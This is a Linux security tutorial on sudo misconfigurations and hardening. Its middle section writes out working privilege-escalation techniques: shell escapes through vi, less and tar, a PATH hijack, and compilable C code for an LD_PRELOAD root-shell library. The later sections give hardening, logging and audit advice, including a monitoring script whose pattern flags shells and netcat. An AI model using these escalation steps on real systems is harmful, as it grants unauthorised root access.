Linux sudo: Privilege Escalation
Linux implements privilege separation as a fundamental security principle. Rather than having users operate as root continuously, the `sudo` (superuser do) mechanism allows specific users to execute...
Key Insights
- The sudo mechanism grants temporary elevated privileges without sharing the root password, but misconfigurations like NOPASSWD wildcards or overly permissive command specifications create trivial privilege escalation paths that attackers actively exploit.
- Environment variables (PATH, LD_PRELOAD, LD_LIBRARY_PATH) represent a critical attack surface when sudo is configured with env_keep or env_reset disabled, allowing unprivileged users to inject malicious code into root-executed processes.
- Secure sudo configuration requires absolute command paths, explicit argument restrictions using Cmnd_Alias, comprehensive logging to dedicated facilities, and regular audits using
sudo -lto identify permission creep before it becomes a security incident.
Introduction to sudo and Privilege Separation
Linux implements privilege separation as a fundamental security principle. Rather than having users operate as root continuously, the sudo (superuser do) mechanism allows specific users to execute specific commands with elevated privileges. This approach follows the principle of least privilege: users should have only the minimum permissions necessary to perform their tasks.
The difference between su - and sudo is significant. Using su - switches your entire session to the root user, requiring the root password and maintaining elevated privileges until you exit. With sudo, you execute individual commands with elevated privileges while remaining in your user context:
# Traditional approach - switches to root shell
su -
# Now you're root for everything until you exit
# Modern approach - elevate single command
sudo systemctl restart nginx
# Immediately returns to unprivileged user after command completes
# View your sudo privileges
sudo -l
This granular approach means administrators can grant specific permissions to specific users without distributing the root password. However, this flexibility introduces complexity, and complexity breeds vulnerabilities.
How sudo Works Under the Hood
When you execute a sudo command, several checks occur before privilege escalation:
- sudo reads
/etc/sudoersto determine if the user has permission - If required, sudo prompts for the user’s password (not root’s)
- sudo validates the password against the system authentication
- Upon success, sudo creates a timestamp ticket (typically valid for 15 minutes)
- sudo executes the command as the specified user (default: root)
The /etc/sudoers file controls everything. Here’s a basic entry structure:
# User privilege specification
username ALL=(ALL:ALL) ALL
# Breaking down the syntax:
# username - who can execute
# ALL - from which hosts
# (ALL:ALL) - as which users:groups
# ALL - which commands
# Group-based permission
%developers ALL=(ALL) /usr/bin/systemctl restart nginx
# No password required (dangerous!)
deployer ALL=(ALL) NOPASSWD: /usr/local/bin/deploy.sh
Check your current sudo privileges:
sudo -l
# Output shows:
# User username may run the following commands on hostname:
# (ALL : ALL) ALL
The sudo timestamp system caches authentication. After successfully entering your password, subsequent sudo commands within the timeout period (default 15 minutes) don’t require re-authentication:
# First command - prompts for password
sudo ls /root
# Within 15 minutes - no password prompt
sudo cat /etc/shadow
# Clear the timestamp manually
sudo -k
# Next sudo command will require password again
Common Privilege Escalation Vulnerabilities
Misconfigurations in sudoers files create straightforward privilege escalation paths. The most dangerous pattern is granting sudo access to powerful binaries without understanding their capabilities.
Consider this seemingly innocent configuration:
# /etc/sudoers - DANGEROUS CONFIGURATION
webadmin ALL=(ALL) NOPASSWD: /usr/bin/vi /var/www/html/*
This allows webadmin to edit web files with vi as root. However, vi can execute shell commands:
# As webadmin user
sudo vi /var/www/html/index.html
# Inside vi, type:
:set shell=/bin/bash
:shell
# Now you have a root shell
Wildcards in command specifications are particularly dangerous:
# Intended to allow backup of any log file
backupuser ALL=(ALL) NOPASSWD: /bin/tar czf /backup/*.tar.gz /var/log/*
# Exploitation using tar checkpoint feature
sudo tar czf /backup/test.tar.gz /var/log/test.log --checkpoint=1 \
--checkpoint-action=exec=/bin/bash
Resources like GTFOBins (gtfobins.github.io) catalog how common binaries can be abused for privilege escalation. Even utilities that seem safe can be dangerous:
# Allowing less to read any file
analyst ALL=(ALL) NOPASSWD: /usr/bin/less /var/log/*
# Exploitation
sudo less /var/log/syslog
# Inside less, type:
!bash
# Root shell obtained
Other commonly exploited binaries with sudo access include: find, awk, perl, python, ruby, vim, nano, more, man, zip, and many others. Each has mechanisms to spawn shells or execute arbitrary commands.
Environment Variable Exploitation
Environment variables represent a critical attack surface. By default, sudo resets most environment variables, but misconfigurations can allow exploitation.
PATH manipulation is the classic attack:
# Vulnerable sudoers entry using relative path
scriptuser ALL=(ALL) NOPASSWD: /home/scriptuser/maintenance.sh
# If maintenance.sh contains:
#!/bin/bash
systemctl restart nginx
# Attacker creates malicious systemctl
cat > /tmp/systemctl << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /tmp/systemctl
# Modify PATH and execute
PATH=/tmp:$PATH sudo /home/scriptuser/maintenance.sh
# Root shell obtained
This is why absolute paths are critical. But even with absolute paths, LD_PRELOAD can be exploited:
# Check if env_keep includes LD_PRELOAD
sudo -l
# If you see: env_keep+=LD_PRELOAD
# Create malicious shared library
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles
# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/exploit.so <any-allowed-command>
# Root shell obtained
The sudo -E flag preserves the user’s environment, which is dangerous if allowed:
# If sudoers contains:
Defaults env_keep += "LD_PRELOAD"
# Or user can run with SETENV:
username ALL=(ALL) SETENV: /usr/bin/program
Hardening sudo Configuration
Secure sudo configuration requires discipline and specificity. Always use visudo to edit sudoers files—it validates syntax before saving, preventing lockouts:
# Never edit directly
visudo
# For additional files in sudoers.d
visudo -f /etc/sudoers.d/developers
Use aliases to organize permissions:
# Command aliases for related operations
Cmnd_Alias NGINX_CMDS = /usr/bin/systemctl start nginx, \
/usr/bin/systemctl stop nginx, \
/usr/bin/systemctl restart nginx, \
/usr/bin/systemctl reload nginx
Cmnd_Alias LOG_VIEW = /usr/bin/tail -f /var/log/nginx/*.log, \
/usr/bin/less /var/log/nginx/*.log
# User aliases
User_Alias WEBADMINS = alice, bob, charlie
# Group-based permission
%developers ALL=(ALL) NGINX_CMDS, LOG_VIEW
Implement strict command specifications with absolute paths:
# WRONG - relative path, shell escape possible
developer ALL=(ALL) NOPASSWD: vim /etc/config.yaml
# BETTER - absolute path
developer ALL=(ALL) NOPASSWD: /usr/bin/vim /etc/config.yaml
# BEST - absolute path with argument restrictions (when possible)
developer ALL=(ALL) NOPASSWD: /usr/local/bin/deploy.sh --env=production
Configure comprehensive logging:
# In /etc/sudoers
Defaults logfile=/var/log/sudo.log
Defaults log_input, log_output
Defaults iolog_dir=/var/log/sudo-io/%{user}
# Require TTY to prevent background exploitation
Defaults requiretty
# Reduce timestamp timeout
Defaults timestamp_timeout=5
# Reset environment by default
Defaults env_reset
Detection and Auditing
Monitor sudo activity by parsing authentication logs. On Debian/Ubuntu systems:
# View recent sudo commands
grep sudo /var/log/auth.log | tail -20
# Find failed sudo attempts
grep "authentication failure" /var/log/auth.log | grep sudo
# Identify commands run as root
grep "COMMAND=" /var/log/auth.log
Create a monitoring script for suspicious patterns:
#!/bin/bash
# sudo-monitor.sh - Alert on suspicious sudo activity
LOG_FILE="/var/log/auth.log"
ALERT_EMAIL="security@example.com"
# Check for multiple failed attempts
failed_attempts=$(grep "$(date '+%b %e')" "$LOG_FILE" | \
grep "sudo.*authentication failure" | wc -l)
if [ "$failed_attempts" -gt 5 ]; then
echo "ALERT: $failed_attempts failed sudo attempts today" | \
mail -s "Sudo Security Alert" "$ALERT_EMAIL"
fi
# Check for unusual commands
grep "$(date '+%b %e')" "$LOG_FILE" | \
grep "COMMAND=" | \
grep -E "(bash|sh|python|perl|ruby|nc|netcat)" | \
while read line; do
echo "Suspicious command detected: $line" | \
mail -s "Sudo Suspicious Command" "$ALERT_EMAIL"
done
Configure centralized logging with syslog for better visibility:
# In /etc/sudoers
Defaults syslog=auth
Defaults syslog_goodpri=notice
Defaults syslog_badpri=alert
# Forward to centralized log server
# In /etc/rsyslog.conf
auth.* @@logserver.example.com:514
Regularly audit user permissions:
# List all users with sudo privileges
grep -Po '^sudo.+:\K.*$' /etc/group
# Check for NOPASSWD entries
grep NOPASSWD /etc/sudoers /etc/sudoers.d/*
# Audit specific user privileges
sudo -l -U username
Implement a periodic review process. Permissions that made sense six months ago may no longer be appropriate. Use version control for sudoers files:
# Track sudoers changes in git
cd /etc
git init
git add sudoers sudoers.d/*
git commit -m "Initial sudoers configuration"
# After changes via visudo
git diff sudoers
git add sudoers
git commit -m "Added nginx restart permission for webadmins"
The sudo mechanism provides essential functionality for modern Linux administration, but its power demands respect. Every sudo rule is a potential privilege escalation path. Configure with absolute paths, avoid NOPASSWD except for truly non-interactive automation, never trust binaries that can spawn shells, and audit relentlessly. Your security posture depends on it.